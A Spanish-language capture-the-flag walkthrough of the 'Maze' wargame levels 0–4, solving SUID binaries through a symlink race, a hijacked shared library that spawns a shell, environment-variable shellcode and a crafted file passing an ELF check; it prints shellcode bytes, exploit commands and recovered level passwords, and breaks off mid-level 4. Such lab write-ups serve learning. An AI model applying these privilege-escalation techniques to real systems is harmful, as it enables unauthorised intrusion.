Maze
49 minutos de lectura
Este laboratorio sirve para practicar técnicas de explotación, programación e ingeniería inversa. El laboratorio consta de 9 niveles, en una arquitectura Linux/x86 (todas las protecciones están deshabilitadas: NX, PIE, canarios e incluso ASLR).
Para conectarse al primer nivel, se nos proporcionan las credenciales de SSH para el usuario maze0
.
Realizando un reconocimiento inicial, la máquina nos muestra que hay binarios SUID que deben ser explotados para pasar al siguiente nivel. Además, tenemos algunos archivos que contienen las contraseñas de los usuarios mazeX
:
maze0@maze:~$ ls -lh /maze
total 88K
-r-sr-x--- 1 maze1 maze0 8.1K Aug 26 2019 maze0
-r-sr-x--- 1 maze2 maze1 7.2K Aug 26 2019 maze1
-r-sr-x--- 1 maze3 maze2 7.3K Aug 26 2019 maze2
-r-sr-x--- 1 maze4 maze3 732 Aug 26 2019 maze3
-r-sr-x--- 1 maze5 maze4 10K Aug 26 2019 maze4
-r-sr-x--- 1 maze6 maze5 9.2K Aug 26 2019 maze5
-r-sr-x--- 1 maze7 maze6 8.0K Aug 26 2019 maze6
-r-sr-x--- 1 maze8 maze7 9.7K Aug 26 2019 maze7
-r-sr-x--- 1 maze9 maze8 12K Aug 26 2019 maze8
maze0@maze:~$ ls -lh /etc/maze_pass
total 40
-r-------- 1 maze0 maze0 6 Aug 26 2019 maze0
-r-------- 1 maze1 maze1 11 Aug 26 2019 maze1
-r-------- 1 maze2 maze2 11 Aug 26 2019 maze2
-r-------- 1 maze3 maze3 11 Aug 26 2019 maze3
-r-------- 1 maze4 maze4 11 Aug 26 2019 maze4
-r-------- 1 maze5 maze5 11 Aug 26 2019 maze5
-r-------- 1 maze6 maze6 11 Aug 26 2019 maze6
-r-------- 1 maze7 maze7 11 Aug 26 2019 maze7
-r-------- 1 maze8 maze8 11 Aug 26 2019 maze8
-r-------- 1 maze9 maze9 11 Aug 26 2019 maze9
Los permisos de los archivos están debidamente configurados para que todo funcione en cada nivel.
Nivel 0 -> 1
Nos podemos transferir /maze/maze0
a nuestra máquina copiando el archivo codificado en Base64. Luego lo podemos abrir con Ghidra para obtener el código en C descompilado:
int main(int argc, char **argv) {
int iVar1;
__uid_t __suid;
__uid_t __euid;
__uid_t __ruid;
char buf[20];
int fd;
memset(buf, 0, 0x14);
iVar1 = access("/tmp/128ecf542a35ac5270a87dc740918404", 4);
if (iVar1 == 0) {
__suid = geteuid();
__euid = geteuid();
__ruid = geteuid();
setresuid(__ruid, __euid, __suid);
iVar1 = open("/tmp/128ecf542a35ac5270a87dc740918404", 0);
if (iVar1 < 0) {
/* WARNING: Subroutine does not return */
exit(-1);
}
read(iVar1, buf, 0x13);
write(1, buf, 0x13);
}
return 0;
}
Vemos que está accediendo a un archivo en /tmp/128ecf542a35ac5270a87dc740918404
. Si el acceso es correcto, lee su contenido y lo imprime por la salida estándar (stdout
).
Veamos qué permisos tenemos en /tmp
:
maze0@maze:~$ ls -l --time-style=+ /
total 148
drwxr-xr-x 2 root root 4096 bin
drwxr-xr-x 4 root root 4096 boot
dr-xr-xr-x 3 root root 0 cgroup2
drwxr-xr-x 14 root root 4020 dev
drwxr-xr-x 88 root root 4096 etc
drwxr-xr-x 12 root root 4096 home
lrwxrwxrwx 1 root root 29 initrd.img -> boot/initrd.img-4.9.0-6-amd64
lrwxrwxrwx 1 root root 29 initrd.img.old -> boot/initrd.img-4.9.0-6-amd64
drwxr-xr-x 16 root root 4096 lib
drwxr-xr-x 2 root root 4096 lib32
drwxr-xr-x 2 root root 4096 lib64
drwxr-xr-x 2 root root 4096 libx32
drwx------ 2 root root 16384 lost+found
drwxr-xr-x 2 root root 4096 maze
drwxr-xr-x 3 root root 4096 media
drwxr-xr-x 2 root root 4096 mnt
drwxr-xr-x 2 root root 4096 opt
dr-xr-xr-x 106 root root 0 proc
lrwxrwxrwx 1 root root 9 README.txt -> /etc/motd
drwx------ 8 root root 4096 root
drwxr-xr-x 15 root root 580 run
drwxr-xr-x 2 root root 4096 sbin
drwxr-xr-x 3 root root 4096 share
drwxr-xr-x 2 root root 4096 srv
dr-xr-xr-x 12 root root 0 sys
drwxrws-wt 1243 root root 57344 tmp
drwxr-xr-x 12 root root 4096 usr
drwxr-xr-x 11 root root 4096 var
lrwxrwxrwx 1 root root 26 vmlinuz -> boot/vmlinuz-4.9.0-6-amd64
lrwxrwxrwx 1 root root 26 vmlinuz.old -> boot/vmlinuz-4.9.0-6-amd64
No podemos listar el contenido de /tmp
, pero sí podemos escribir. Entonces, creamos un archivo llamado /tmp/128ecf542a35ac5270a87dc740918404
y volvemos a ejecutar el binario:
maze0@maze:~$ echo ASDF > /tmp/128ecf542a35ac5270a87dc740918404
maze0@maze:~$ /maze/maze0
ASDF
La idea es crear un enlace simbólico de manera que /tmp/128ecf542a35ac5270a87dc740918404
apunte a /etc/maze_pass/maze1
y leerlo utilizando el binario:
maze0@maze:~$ ln -s /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404
maze0@maze:~$ ls -l --time-style=+ /tmp/128ecf542a35ac5270a87dc740918404
lrwxrwxrwx 1 maze0 root 20 /tmp/128ecf542a35ac5270a87dc740918404 -> /etc/maze_pass/maze1
maze0@maze:~$ /maze/maze0
Mediante ltrace
, vemos que access
está devolviendo -1
, por lo que el archivo no se está leyendo:
maze0@maze:~$ ltrace /maze/maze0
__libc_start_main(0x804854b, 1, 0xffffd7a4, 0x80485e0 <unfinished ...>
memset(0xffffd6e8, '\0', 20) = 0xffffd6e8
access("/tmp/128ecf542a35ac5270a87dc7409"..., 4) = -1
+++ exited (status 0) +++
Aunque no somos capaces de pasar de la función access
en circunstancias normales, existe una condición de carrera (race condition). La idea es pasar de la función access
vinculando /tmp/128ecf542a35ac5270a87dc740918404
a un archivo al cual tengamos permisos de lectura (por ejemplo, /etc/maze_pass/maze0
) y justo después vincularlo a /etc/maze_pass/maze1
, de manera que haya una situación en la que podamos abrir el segundo archivo y leerlo.
Por tanto, necesitamos este bucle en una sesión:
maze0@maze:~$ while true; do ln -sf /etc/maze_pass/maze0 /tmp/128ecf542a35ac5270a87dc740918404; ln -sf /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404; done
Y este otro bucle en otra sesión:
maze0@maze:~$ while true; do /maze/maze0; done
Después de algunos segundos, veremos la contraseña:
maze0@maze:~$ while true; do /maze/maze0; done
-bash: fork: retry: Resource temporarily unavailable
...
-bash: fork: retry: Resource temporarily unavailable
hashaachon
-bash: fork: retry: Resource temporarily unavailable
^C-bash: fork: Interrupted system call
Nivel 1 -> 2
Si cogemos /maze/maze1
y lo abrimos en Ghidra, vemos esta función main
de “Hola mundo”:
int main() {
puts("Hello World!\n");
return 0;
}
Sin embargo, hay un problema si lo ejecutamos. El binario está buscando una librería llamada libc.so.4
en el directorio actual:
maze1@maze:~$ /maze/maze1
/maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open shared object file: No such file or directory
maze1@maze:~$ ldd /maze/maze1
linux-gate.so.1 (0xf7fd7000)
./libc.so.4 => not found
libc.so.6 => /lib32/libc.so.6 (0xf7e12000)
/lib/ld-linux.so.2 (0xf7fd9000)
Por tanto, para ejecutar el binario, necesitamos poner una librería válida en el directorio actual. Por ejemplo, podemos decirle al binario que puts
tiene la siguiente funcionalidad:
#include <stdlib.h>
int puts(const char *s) {
system("/bin/sh");
return 0;
}
Como resultado, al ejecutar el binario, tendremos una shell como maze2
(porque el binario es SUID y pertenece al usuario maze2
).
Vamos a escribir el código y compilarlo en /tmp
, porque tenemos permisos de escritura:
maze1@maze:~$ cd /tmp
maze1@maze:/tmp$ vim lib.c
maze1@maze:/tmp$ cat lib.c
#include <stdlib.h>
int puts(const char *s) {
system("/bin/sh");
return 0;
}
Esta es la forma de compilar una librería compartida:
maze1@maze:/tmp$ gcc -m32 -shared -fpic lib.c -o libc.so.4
Ahora ejecutamos el binario desde el directorio actual y obtenemos una consola de comandos y la contraseña del siguiente usuario:
maze1@maze:/tmp$ /maze/maze1
$ whoami
maze2
$ cat /etc/maze_pass/maze2
fooghihahr
Nivel 2 -> 3
La función main
del código fuente descompilado de /maze/maze2
es bastante interesante:
int main(int argc, char **argv) {
char code[8];
anon_subr_void_varargs *fp;
if (argc != 2) {
/* WARNING: Subroutine does not return */
exit(1);
}
strncpy(code, argv[1], 8);
(*(code *) code)();
return 0;
}
Básicamente, está tomando 8 bytes de un argumento y ejecutando dichos bytes.
Recordemos que este laboratorio tiene todas las protecciones deshabilitadas (NX, PIE, canarios e incluso ASLR). Por tanto, tenemos que encontrar una manera de ejecutar código malicioso.
Pero 8 bytes no son suficientes para poner shellcode válido. Sin embargo, podemos utilizar variables de entorno.
La pila (stack) se llenará con todas las variables de entorno de la sesión de consola actual. Por tanto, podemos utilizar una instrucción de salto en los 8 bytes que debemos poner como argumento y saltar a la pila en la posición de cierta variable de entorno.
Vamos a probarlo con GDB en el servidor:
maze2@maze:~$ export AAAA=BBBBBBBB
maze2@maze:~$ gdb -q /maze/maze2
Reading symbols from /maze/maze2...done.
(gdb) break main
Breakpoint 1 at 0x8048421: file maze2.c, line 22.
(gdb) run CCCCCCCC
Starting program: /maze/maze2 CCCCCCCC
Breakpoint 1, main (argc=2, argv=0xffffd764) at maze2.c:22
22 maze2.c: No such file or directory.
Perfecto, veamos en qué posición se encuentra la variable AAAA=BBBBBBBB
en la pila:
(gdb) info proc mapping
process 20960
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /maze/maze2
0x8049000 0x804a000 0x1000 0x0 /maze/maze2
0xf7e10000 0xf7e12000 0x2000 0x0
0xf7e12000 0xf7fc3000 0x1b1000 0x0 /lib32/libc-2.24.so
0xf7fc3000 0xf7fc5000 0x2000 0x1b0000 /lib32/libc-2.24.so
0xf7fc5000 0xf7fc6000 0x1000 0x1b2000 /lib32/libc-2.24.so
0xf7fc6000 0xf7fc9000 0x3000 0x0
0xf7fd2000 0xf7fd4000 0x2000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.24.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.24.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.24.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) find 0xfffdd000, 0xffffe000 - 1, "AAAA=BBBBBBBB"
0xffffdf27
1 pattern found.
(gdb) x/s 0xffffdf27
0xffffdf27: "AAAA=BBBBBBBB"
Y ahí la tenemos. Ahora, identificamos la dirección de la instrucción que ejecuta los 8 bytes (0x0804844e
) y ponemos un breakpoint:
(gdb) disassemble main
Dump of assembler code for function main:
0x0804841b <+0>: push %ebp
0x0804841c <+1>: mov %esp,%ebp
0x0804841e <+3>: sub $0xc,%esp
=> 0x08048421 <+6>: lea -0xc(%ebp),%eax
0x08048424 <+9>: mov %eax,-0x4(%ebp)
0x08048427 <+12>: cmpl $0x2,0x8(%ebp)
0x0804842b <+16>: je 0x8048434 <main+25>
0x0804842d <+18>: push $0x1
0x0804842f <+20>: call 0x80482e0 <exit@plt>
0x08048434 <+25>: mov 0xc(%ebp),%eax
0x08048437 <+28>: add $0x4,%eax
0x0804843a <+31>: mov (%eax),%eax
0x0804843c <+33>: push $0x8
0x0804843e <+35>: push %eax
0x0804843f <+36>: lea -0xc(%ebp),%eax
0x08048442 <+39>: push %eax
0x08048443 <+40>: call 0x8048300 <strncpy@plt>
0x08048448 <+45>: add $0xc,%esp
0x0804844b <+48>: mov -0x4(%ebp),%eax
0x0804844e <+51>: call *%eax
0x08048450 <+53>: mov $0x0,%eax
0x08048455 <+58>: leave
0x08048456 <+59>: ret
End of assembler dump.
(gdb) break *0x0804844e
Breakpoint 2 at 0x804844e: file maze2.c, line 26.
(gdb) continue
Continuing.
Breakpoint 2, 0x0804844e in main (argc=2, argv=0xffffd764) at maze2.c:26
26 in maze2.c
En este punto, podemos ver qué dirección contiene $eax
:
(gdb) p/x $eax
$1 = 0xffffd6bc
Por tanto, podemos utilizar una instrucción de salto a otra dirección utilizando un offset relativo a la dirección actual. Este es el offset que necesitamos (nótese que el número 5 viene de la longitud de AAAA=
):
(gdb) p/x 0xffffdf27 + 5 - 0xffffd6bc
$2 = 0x870
La instrucción de ensamblador que utilizaremos y su código máquina correspondiente es:
maze2@maze:~$ pwn asm 'jmp $+0x870' -f string
'\xe9k\x08\x00\x00'
Para verificar que funciona, podemos poner varios \xcc
(instrucción de breakpoint, SIGTRAP) en la variable de entorno. Y vemos que la ejecución se detiene, por lo que funciona bien:
maze2@maze:~$ export AAAA=$(python -c 'print "\xcc" * 20')
maze2@maze:~$ gdb -q /maze/maze2
Reading symbols from /maze/maze2...done.
(gdb) run $(pwn asm 'jmp $+0x870' -f raw)
Starting program: /maze/maze2 $(pwn asm 'jmp $+0x870' -f raw)
/bin/bash: warning: command substitution: ignored null byte in input
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffdf2d in ?? ()
Ahora cogemos un shellcode de Linux x86 como este: https://www.exploit-db.com/exploits/42428 y lo asignamos a la variable de entorno, añadiendo instrucciones nop
al principio por si la pila se modifica o el salto no se produce exactamente al principio del shellcode.
En GDB funciona, pero no utiliza los permisos SUID:
maze2@maze:~$ gdb -q /maze/maze2
Reading symbols from /maze/maze2...done.
(gdb) run $(pwn asm 'jmp $+0x870' -f raw)
Starting program: /maze/maze2 $(pwn asm 'jmp $+0x870' -f raw)
/bin/bash: warning: command substitution: ignored null byte in input
process 24019 is executing new program: /bin/dash
$ whoami
maze2
Fuera de GDB no funciona:
maze2@maze:~$ export AAAA=$(python -c 'print "\x90" * 20 + "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"')
maze2@maze:~$ /maze/maze2 $(pwn asm 'jmp $+0x870' -f raw)
-bash: warning: command substitution: ignored null byte in input
Segmentation fault
Esto ocurre porque GDB añade más datos a la pila, por lo que necesitamos reducir el offset de la instrucción de salto hasta que consigamos una shell:
maze2@maze:~$ /maze/maze2 $(pwn asm 'jmp $+0x870' -f raw)
-bash: warning: command substitution: ignored null byte in input
Segmentation fault
maze2@maze:~$ /maze/maze2 $(pwn asm 'jmp $+0x860' -f raw)
-bash: warning: command substitution: ignored null byte in input
Segmentation fault
maze2@maze:~$ /maze/maze2 $(pwn asm 'jmp $+0x850' -f raw)
-bash: warning: command substitution: ignored null byte in input
$ whoami
maze3
$ cat /etc/maze_pass/maze3
beinguthok
Nivel 3 -> 4
En este nivel, encontramos un binario que se comporta de manera diferente si ponemos un argumento o no:
maze3@maze:~$ /maze/maze3 asdf
maze3@maze:~$ /maze/maze3
./level4 ev0lcmds!
Mediante strace
vemos que si no hay argumentos, el programa termina. Y si añadimos un argumento, sucede algo más:
maze3@maze:~$ strace /maze/maze3
execve("/maze/maze3", ["/maze/maze3"], [/* 17 vars */]) = 0
strace: [ Process PID=30847 runs in 32 bit mode. ]
write(1, "./level4 ev0lcmds!\n\0", 20./level4 ev0lcmds!
) = 20
exit(1) = ?
+++ exited with 1 +++
maze3@maze:~$ strace /maze/maze3 asdf
execve("/maze/maze3", ["/maze/maze3", "asdf"], [/* 17 vars */]) = 0
strace: [ Process PID=30844 runs in 32 bit mode. ]
mprotect(0x8048000, 151, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
exit(1) = ?
+++ exited with 1 +++
Curiosamente, el programa utiliza mprotect
para cambiar los permisos de las direcciones del binario a rwx
(lectura, escritura y ejecución).
Veamos qué tenemos con GDB:
maze3@maze:~$ gdb -q /maze/maze3
Reading symbols from /maze/maze3...(no debugging symbols found)...done.
(gdb) set pagination off
(gdb) disassemble _start
Dump of assembler code for function _start:
0x08048060 <+0>: pop %eax
0x08048061 <+1>: dec %eax
0x08048062 <+2>: jne 0x8048096 <fine>
0x08048064 <+4>: call 0x804807d <_start+29>
0x08048069 <+9>: cs das
0x0804806b <+11>: insb (%dx),%es:(%edi)
0x0804806c <+12>: gs jbe 0x80480d4 <d1+9>
0x0804806f <+15>: insb (%dx),%es:(%edi)
0x08048070 <+16>: xor $0x20,%al
0x08048072 <+18>: gs jbe 0x80480a5 <fine+15>
0x08048075 <+21>: insb (%dx),%es:(%edi)
0x08048076 <+22>: arpl %bp,0x64(%ebp)
0x08048079 <+25>: jae 0x804809c <fine+6>
0x0804807b <+27>: or (%eax),%al
0x0804807d <+29>: mov $0x4,%eax
0x08048082 <+34>: mov $0x1,%ebx
0x08048087 <+39>: pop %ecx
0x08048088 <+40>: mov $0x14,%edx
0x0804808d <+45>: int $0x80
0x0804808f <+47>: mov $0x1,%eax
0x08048094 <+52>: int $0x80
End of assembler dump.
Desde la función _start
, solamente nos ocupamos de la llamada a fine
:
(gdb) disassemble fine
Dump of assembler code for function fine:
0x08048096 <+0>: pop %eax
0x08048097 <+1>: mov $0x7d,%eax
0x0804809c <+6>: mov $0x8048060,%ebx
0x080480a1 <+11>: and $0xfffff000,%ebx
0x080480a7 <+17>: mov $0x97,%ecx
0x080480ac <+22>: mov $0x7,%edx
0x080480b1 <+27>: int $0x80
0x080480b3 <+29>: lea 0x80480cb,%esi
0x080480b9 <+35>: mov %esi,%edi
0x080480bb <+37>: mov $0x2c,%ecx
0x080480c0 <+42>: mov $0x12345678,%edx
End of assembler dump.
Ahora ponemos un breakpoint en la última instrucción y ejecutamos el código con un argumento cualquiera:
(gdb) break *0x080480c0
Breakpoint 1 at 0x80480c0
(gdb) run asdf
Starting program: /maze/maze3 asdf
Breakpoint 1, 0x080480c0 in fine ()
Continuamos una instrucción y desensamblamos el bloque actual para ver qué está haciendo el programa:
(gdb) stepi
0x080480c5 in l1 ()
(gdb) disassemble
Dump of assembler code for function l1:
=> 0x080480c5 <+0>: lods %ds:(%esi),%eax
0x080480c6 <+1>: xor %edx,%eax
0x080480c8 <+3>: stos %eax,%es:(%edi)
0x080480c9 <+4>: loop 0x80480c5 <l1>
End of assembler dump.
Está realizando una serie de operaciones en bucle (44 veces, que viene de un contador guardado como $ecx = 0x2c
). Podemos añadir un breakpoint al final del bucle y utilizar continue 0x2a
para detenernos cuando $ecx = 1
:
(gdb) break *0x080480c9
Breakpoint 2 at 0x80480c9
(gdb) continue
Continuing.
Breakpoint 2, 0x080480c9 in l1 ()
(gdb) p/x $ecx
$2 = 0x2c
(gdb) continue
Continuing.
Breakpoint 2, 0x080480c9 in l1 ()
(gdb) p/x $ecx
$3 = 0x2b
(gdb) continue 0x2a
Will ignore next 41 crossings of breakpoint 2. Continuing.
Breakpoint 2, 0x080480c9 in l1 ()
(gdb) p/x $ecx
$4 = 0x1
Ahora si saltamos una instrucción, salimos del bucle. Y desensamblamos otro bloque:
(gdb) stepi
0x080480cb in d1 ()
(gdb) disassemble
Dump of assembler code for function d1:
=> 0x080480cb <+0>: pop %eax
0x080480cc <+1>: cmpl $0x1337c0de,(%eax)
0x080480d2 <+7>: jne 0x80480ed <d1+34>
0x080480d4 <+9>: xor %eax,%eax
0x080480d6 <+11>: push %eax
0x080480d7 <+12>: push $0x68732f2f
0x080480dc <+17>: push $0x6e69622f
0x080480e1 <+22>: mov %esp,%ebx
0x080480e3 <+24>: push %eax
0x080480e4 <+25>: push %ebx
0x080480e5 <+26>: mov %esp,%ecx
0x080480e7 <+28>: xor %edx,%edx
0x080480e9 <+30>: mov $0xb,%al
0x080480eb <+32>: int $0x80
0x080480ed <+34>: mov $0x1,%eax
0x080480f2 <+39>: xor %ebx,%ebx
0x080480f4 <+41>: inc %ebx
0x080480f5 <+42>: int $0x80
End of assembler dump.
Este código puede parecer familiar al shellcode del nivel anterior. Realmente, es muy parecido a este: https://www.exploit-db.com/exploits/43716. De hecho, las operaciones que son ejecutadas en el bucle están diseñadas para modificar las instrucciones del binario y añadir el shellcode.
Sin embargo, hay una comparación previa. Para ejecutar el shellcode el contenido de la dirección guardada en $eax
tiene que ser igual a 0x1337c0de
. Podemos ver su valor actual:
(gdb) si
0x080480cc in d1 ()
(gdb) p/x $eax
$5 = 0xffffd8b8
(gdb) x/s 0xffffd8b8
0xffffd8b8: "asdf"
Este es el argumento que le hemos pasado al programa.
Por tanto, si ponemos 0x1337c0de
en bytes como argumento, tendremos una consola de comandos como maze4
:
maze3@maze:~$ /maze/maze3 $(echo -e "\xde\xc0\x37\x13")
$ whoami
maze4
$ cat /etc/maze_pass/maze4
deekaihiek
Nivel 4 -> 5
Esta vez tenemos un binario que comprueba el contenido de un archivo provisto antes de ejecutarlo:
int main(int argc, char **argv) {
int __fd;
int iVar1;
stat st;
Elf32_Phdr phdr;
Elf32_Ehdr ehdr;
int fd;
if (argc != 2) {
printf("usage: %s file2check\n", *argv);
/* WARNING: Subroutine does not return */
exit(-1);
}
__fd = open(argv[1], 0);
if (__fd < 0) {
perror("open");
/* WARNING: Subroutine does not return */
exit(-1);
}
iVar1 = stat(argv[1], (stat *) &st);
if (iVar1 < 0) {
perror("stat");
/* WARNING: Subroutine does not return */
exit(-1);
}
read(__fd, &ehdr, 0x34);
lseek(__fd, ehdr.e_phoff, 0);
read(__fd, &phdr, 0x20);
if (phdr.p_paddr == (uint) ehdr.e_ident[8] * (uint) ehdr.e_ident[7] && st.st_size < 0x78) {
puts("valid file, executing");
execv(argv[1], (char **) 0x0);
}
fwrite("file not executed\n", 1, 0x12, stderr);
close(__fd);
return 0;
}
Vamos a crear un archivo sencillo en /tmp
y vemos si lo ejecuta:
maze4@maze:~$ python3 -c 'print("".join(chr(c) * 4 for c in range(0x41, 0x5b)))'
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
maze4@maze:~$ python3 -c 'print("".join(chr(c) * 4 for c in range(0x41, 0x5b)))' < /tmp/file
maze4@maze:~$ /maze/maze4 /tmp/file
file not executed
No, veamos qué hace el programa con GDB. Primero, ponemos un breakpoint antes de lseek
;
maze4@maze:~$ gdb -q /maze/maze4
Reading symbols from /maze/maze4...done.
(gdb) set pagination off
(gdb) disassemble main
Dump of assembler code for function main:
0x080485fb <+0>: push %ebp
0x080485fc <+1>: mov %esp,%ebp
0x080485fe <+3>: sub $0xb0,%esp
0x08048604 <+9>: cmpl $0x2,0x8(%ebp)
...
0x0804868d <+146>: call 0x8048430 <read@plt>
0x08048692 <+151>: add $0xc,%esp
0x08048695 <+154>: mov -0x1c(%ebp),%eax
0x08048698 <+157>: push $0x0
0x0804869a <+159>: push %eax
0x0804869b <+160>: pushl -0x4(%ebp)
0x0804869e <+163>: call 0x8048450 <lseek@plt>
0x080486a3 <+168>: add $0xc,%esp
0x080486a6 <+171>: push $0x20
0x080486a8 <+173>: lea -0x58(%ebp),%eax
0x080486ab <+176>: push %eax
0x080486ac <+177>: pushl -0x4(%ebp)
0x080486af <+180>: call 0x8048430 <read@plt>
0x080486b4 <+185>: add $0xc,%esp
0x080486b7 <+188>: mov -0x4c(%ebp),%eax
0x080486ba <+191>: movzbl -0x31(%ebp),%edx
0x080486be <+195>: movzbl %dl,%ecx
0x080486c1 <+198>: movzbl -0x30(%ebp),%edx
0x080486c5 <+202>: movzbl %dl,%edx
0x080486c8 <+205>: imul %ecx,%edx
0x080486cb <+208>: cmp %edx,%eax
0x080486cd <+210>: jne 0x80486fa <main+255>
0x080486cf <+212>: mov -0x84(%ebp),%eax
0x080486d5 <+218>: cmp $0x77,%eax
0x080486d8 <+221>: jg 0x80486fa <main+255>
0x080486da <+223>: push $0x8048800
0x080486df <+228>: call 0x8048490 <puts@plt>
0x080486e4 <+233>: add $0x4,%esp
0x080486e7 <+236>: mov 0xc(%ebp),%eax
0x080486ea <+239>: add $0x4,%eax
0x080486ed <+242>: mov (%eax),%eax
0x080486ef <+244>: push $0x0
0x080486f1 <+246>: push %eax
0x080486f2 <+247>: call 0x80484d0 <execv@plt>
0x080486f7 <+252>: add $0x8,%esp
0x080486fa <+255>: mov 0x8049aa8,%eax
0x080486ff <+260>: push %eax
0x08048700 <+261>: push $0x12
0x08048702 <+263>: push $0x1
0x08048704 <+265>: push $0x8048816
0x08048709 <+270>: call 0x8048480 <fwrite@plt>
0x0804870e <+275>: add $0x10,%esp
0x08048711 <+278>: pushl -0x4(%ebp)
0x08048714 <+281>: call 0x80484e0 <close@plt>
0x08048719 <+286>: add $0x4,%esp
0x0804871c <+289>: mov $0x0,%eax
0x08048721 <+294>: leave
0x08048722 <+295>: ret
End of assembler dump.
(gdb) break *0x0804869e
Breakpoint 1 at 0x804869e: file maze4.c, line 50.
(gdb) x/16x $esp
0xffffd62c: 0x00000003 0x48484848 0x00000000 0x0000fb03
0xffffd63c: 0x00000000 0x00000000 0x00000201 0x000081ed
0xffffd64c: 0x00000001 0x00003a9c 0x00000000 0x00000000
0xffffd65c: 0x00000000 0xffff0000 0x00000069 0x00001000
Observamos que el segundo argumento de lseek
es 0x48484848
(HHHH
). Esta función pondrá un puntero para leer el archivo en el carácter que está en la posición 0x48484848
(que es inválida, evidentemente). Una vez que el puntero está configurado, el programa leerá otra vez el archivo pero empezando desde la posición indicada por lseek
.
La idea es llenar el archivo con datos cualesquiera hasta la posición donde tenemos ahora HHHH
. Luego ponemos 0x20
para hacer que lseek
ponga le puntero despues de HHHH
:
maze4@maze:~$ python3 -c 'print("A" * 28 + "\x20\0\0\0" + "".join(chr(c) * 4 for c in range(0x41, 0x5b)))'
AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
maze4@maze:~$ python3 -c 'print("A" * 28 + "\x20\0\0\0" + "".join(chr(c) * 4 for c in range(0x41, 0x5b)))' < /tmp/file
maze4@maze:~$ xxd /tmp/file
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 2000 0000 AAAAAAAAAAAA ...
00000020: 4141 4141 4242 4242 4343 4343 4444 4444 AAAABBBBCCCCDDDD
00000030: 4545 4545 4646 4646 4747 4747 4848 4848 EEEEFFFFGGGGHHHH
00000040: 4949 4949 4a4a 4a4a 4b4b 4b4b 4c4c 4c4c IIIIJJJJKKKKLLLL
00000050: 4d4d 4d4d 4e4e 4e4e 4f4f 4f4f 5050 5050 MMMMNNNNOOOOPPPP
00000060: 5151 5151 5252 5252 5353 5353 5454 5454 QQQQRRRRSSSSTTTT
00000070: 5555 5555 5656 5656 5757 5757 5858 5858 UUUUVVVVWWWWXXXX
00000080: 5959 5959 5a5a 5a5a 0a YYYYZZZZ.
Ahora, ponemos un breakpoint en las instrucciones de comparación (donde está el bloque if
en el código fuente descompilado):
maze4@maze:~$ gdb -q /maze/maze4
Reading symbols from /maze/maze4...done.
(gdb) break *0x080486cb
Breakpoint 1 at 0x80486cb: file maze4.c, line 54.
(gdb) break *0x080486d5
Breakpoint 2 at 0x80486d5: file maze4.c, line 54.
(gdb) run /tmp/file
Starting program: /maze/maze4 /tmp/file
Breakpoint 1, 0x080486cb in main (argc=2, argv=0xffffd784) at maze4.c:54
54 maze4.c: No such file or directory.
(gdb) x/i $eip
=> 0x80486cb <main+208>: cmp %edx,%eax
(gdb) info registers
eax 0x44444444 1145324612
ecx 0x41 65
edx 0x1081 4225
ebx 0x0 0
esp 0xffffd638 0xffffd638
ebp 0xffffd6e8 0xffffd6e8
esi 0x2 2
edi 0xf7fc5000 -134459392
eip 0x80486cb 0x80486cb <main+208>
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Aquí vemos que donde tenemos 0x44444444
(DDDD
) el programa espera 0x1081
. Vamos a corregirlo desde GDB y continuamos:
(gdb) set $eax = 0x1081
(gdb) continue
Continuing.
Breakpoint 2, main (argc=2, argv=0xffffd784) at maze4.c:54
54 in maze4.c
(gdb) x/i $eip
=> 0x80486d5 <main+218>: cmp $0x77,%eax
(gdb) p/x $eax
$2 = 0x89
Esta vez, 0x89
es el tamaño del archivo. Por tanto, necesitamos un archivo cuyo tamaño sea 0x78
(aunque el archivo puede ser más pequeño). Después de estas comprobaciones, el archivo será ejecutado mediante execve
.
Este es un archivo válido y que cumple todas las validaciones:
maze4@maze:~$ python3 -c 'import os; os.write(1, b"A" * 28 + b"\x20\0\0\0" + b"B" * 12 + b"\x81\x10\0\0" + b"C" * 32 + b"\n")' < /tmp/file
maze4@maze:~$ xxd /tmp/file
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 2000 0000 AAAAAAAAAAAA ...
00000020: 4242 4242 4242 4242 4242 4242 8110 0000 BBBBBBBBBBBB....
00000030: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
00000040: 4343 4343 4343 4343 4343 4343 4343 4343 CCCCCCCCCCCCCCCC
00000050: 0a .
Ahora necesitamos modificar los datos iniciales para que el archivo sea válido para ejecutarse también. Por ejemplo, podemos usar este:
maze4@maze:~$ python3 -c 'import os; os.write(1, b"#!/bin/sh\n\n/bin/bash -p # " + b"\x20\0\0\0" + b"B" * 12 + b"\xb8\x2e\0\0" + b"C" * 32 + b"\n")' < /tmp/file
maze4@maze:~$ xxd /tmp/file
00000000: 2321 2f62 696e 2f73 680a 0a2f 6269 6e2f #!/bin/sh../bin/
00000010: 6261 7368 202d 7020 2020 2320 2000 0000 bash -p # ...
